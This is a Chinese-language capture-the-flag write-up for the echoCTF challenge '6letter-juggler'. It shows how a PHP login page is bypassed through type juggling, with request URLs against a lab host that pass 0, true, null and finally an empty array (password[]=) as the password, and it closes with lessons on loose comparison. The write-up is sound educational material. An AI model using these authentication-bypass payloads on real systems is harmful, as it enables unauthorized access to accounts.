> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# echoCTF - 6letter-juggler writeup (zh-TW)
- URL: https://taiwanding.com/echoctf-6letter-juggler-ctf-writeup-zh-tw/
- Published: 2025-09-04T06:54:44.000Z
- Updated: 2026-07-15T02:49:45.000Z
- Author: Kevin Chen
- Tags: CTF, echoCTF

## **題目資訊**

- **平台**: echoCTF
- **分類**: Web Security
- **難度**: **CTF Beginners** (510 points)
- **描述**: "Try to bypass the authentication screen by either guessing the password (not really) or through some other way..."
- **題目連結**: [https://echoctf.red/target/52](https://echoctf.red/target/52?ref=taiwanding.com)

## **解題過程**

### **Step 1: 初步分析** 

訪問網站，發現一個簡單的登入介面，題目名稱 "**6letter-juggler**" 給了提示：

- `6letter` \- 可能暗示6字母密碼
- `juggler` \- 在CTF中通常指 **PHP Type Juggling** 漏洞

### **Step 2: 嘗試登入，發現登入請求並**觀察URL結構：

```
http://10.0.41.13:1337/index.php?login=John&password=test

```

使用GET參數傳遞認證資訊。

### **Step 3: 嘗試Type Juggling攻擊** 

PHP弱類型比較可能存在漏洞，嘗試各種payload：

```bash
# 嘗試數字型態
http://10.0.41.13:1337/index.php?login=John&password=0

# 嘗試布林值
http://10.0.41.13:1337/index.php?login=John&password=true

# 嘗試NULL
http://10.0.41.13:1337/index.php?login=John&password=null

```

### **Step 4: 陣列參數繞過** 

PHP中當函數期望字串但收到陣列時，可能返回NULL或產生錯誤：

```bash
# 傳遞空陣列作為password
http://10.0.41.13:1337/index.php?login=John&password[]=

```

**Step 5: 成功繞過！** 使用陣列參數成功繞過認證：

```
Flag: ETSCTF_REDACTED

```

## **學習重點**

- **挑戰名稱很重要**：`juggler` 暗示了 Type Juggling 漏洞
- **PHP 弱類型風險**：使用 `==` 而非 `===` 可能導致安全問題
- **陣列參數技巧**：`password[]=` 是經典的繞過手法

## 經驗分享

在挑戰這題的時候，也沒有馬上發現可以利用這個漏洞，同樣有先偵查，包括目錄爆破、原始碼檢查，跑過sqlmap，檢查有無目錄遍歷，後來才回來在這個GET URL上動手腳。